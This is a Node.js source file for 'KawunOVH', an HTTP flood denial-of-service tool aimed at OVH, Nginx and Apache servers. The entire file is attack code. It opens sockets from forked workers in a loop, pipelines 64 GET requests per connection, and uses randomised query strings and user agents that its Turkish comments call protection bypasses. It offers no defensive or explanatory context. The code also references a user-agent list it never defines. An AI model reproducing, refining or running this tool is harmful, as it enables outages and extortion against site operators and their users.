// Inside Elon Flood for Ovh - Nginx - Apache written on NodeJS // Script By // Added bypass paths // thread = 30 // Tested on https://www.vedbex.com/dstat/layer7/37.187.56.77 const url = require('url'); const cluster = require('cluster'); const net = require('net'); const colors = require('colors'); function randomString(length, characters) { var result = ''; var charactersLength = characters.length; for (var i = 0; i < length; i++) { result += characters.charAt(Math.floor(Math.random() * charactersLength)); } return result; } function randomInt(min, max) { return Math.floor( Math.random() * (max - min) + min ); } const paths = [ "?" + randomString(randomInt(4, 9), "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") + "&" + randomString(randomInt(3, 8), "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") + "&" + randomString(randomInt(5, 11), "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") + "&" + randomString(randomInt(15, 30), "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"), // nginx filan bikaçtane daha vardı bypassı "?" + randomString(1, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") + "=" + randomString(8, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") + randomString(1, "|=") + randomString(8, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") + randomString(1, "|=") + randomString(8, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") + "&" + randomString(1, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz") + "=" + randomString(8, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") + randomString(1, "|=") + randomString(8, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") + randomString(1, "|=") + randomString(8, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"), // buda öyle sağlam methodlar bunlar "", // düz path işte index.php fln randomString(randomInt(4, 9), "0123456789"), // ovh filan random path örn => /90454537 randomString(randomInt(8, 16), "0123456789") // aynısı ]; const getRandomPath = () => { const randomIndex = Math.floor(Math.random() * paths.length); return paths[randomIndex]; }; if (process.argv.length <= 3) { console.log(`${'['.white}${'!'.red}${'] Usage => node KawunOVH.js '.white}${'<'.blue}${'TARGET'.yellow}${'>'.blue} ${'<'.blue}${'TIME'.yellow}${'>'.blue} ${'<'.blue}${'PORT'.yellow}${'>'.blue} ${'<'.blue}${'PATH(OPTIONAL)'.yellow}${'>'.blue}`); process.exit(-1); } var target = process.argv[2]; var parsed = url.parse(target); var host = url.parse(target).host; var threads = 1 var time = process.argv[3]; var port = process.argv[4]; if (!process.argv[4] || isNaN(process.argv[4])) { console.log(`${'['.white}${'!'.red}${'] Only Integer Port ! Usage => node KawunOVH.js '.white}${'<'.blue}${'TARGET'.yellow}${'>'.blue} ${'<'.blue}${'TIME'.yellow}${'>'.blue} ${'<'.blue}${'PORT'.yellow}${'>'.blue} ${'<'.blue}${'PATH(OPTIONAL)'.yellow}${'>'.blue}`); process.exit(1); } if (!process.argv[3] || isNaN(process.argv[3])) { console.log(`${'['.white}${'!'.red}${'] Only Integer Time ! Usage => node KawunOVH.js '.white}${'<'.blue}${'TARGET'.yellow}${'>'.blue} ${'<'.blue}${'TIME'.yellow}${'>'.blue} ${'<'.blue}${'PORT'.yellow}${'>'.blue} ${'<'.blue}${'PATH(OPTIONAL)'.yellow}${'>'.blue}`); process.exit(1); } var pathx = process.argv[5]; require('events').EventEmitter.defaultMaxListeners = 0; process.setMaxListeners(0); process.on('uncaughtException', function (e) { }); process.on('unhandledRejection', function (e) { }); if (cluster.isMaster) { for(let i = 0; i < threads; i++) { cluster.fork(); } console.log(`${'['.blue}${'i'.white}${']'.blue} ${'KawunOVH-Bypass Method Attack Started => '.white}${'<'.blue}${''.white}`+parsed.host+`${':'.yellow}`+port+`${'>'.blue}${''.white}`); setTimeout(() => { process.exit(1); }, time * 1000); } else { Kawunlandin(); } function Kawunlandin(){ var int = setInterval(() => { var TCP_CONNECT = net.Socket(); TCP_CONNECT.connect(port, host); TCP_CONNECT.setTimeout(10000); for (var i = 0; i < 64; i++) { // path random yada girilen var requestPath = process.argv[5] ? process.argv[5] : getRandomPath(); TCP_CONNECT.write('GET /' + requestPath + ' HTTP/1.1\r\nHost: ' + parsed.host + '\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\r\nuser-agent: ' + userAgents[Math.floor(Math.random() * userAgents.length)] + '\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\nCache-Control: max-age=0\r\nConnection: Keep-Alive\r\n\r\n'); } TCP_CONNECT.on('data', function () { setTimeout(function () { TCP_CONNECT.destroy(); }, 5); }); }); setTimeout(() => clearInterval(int), time * 1000); }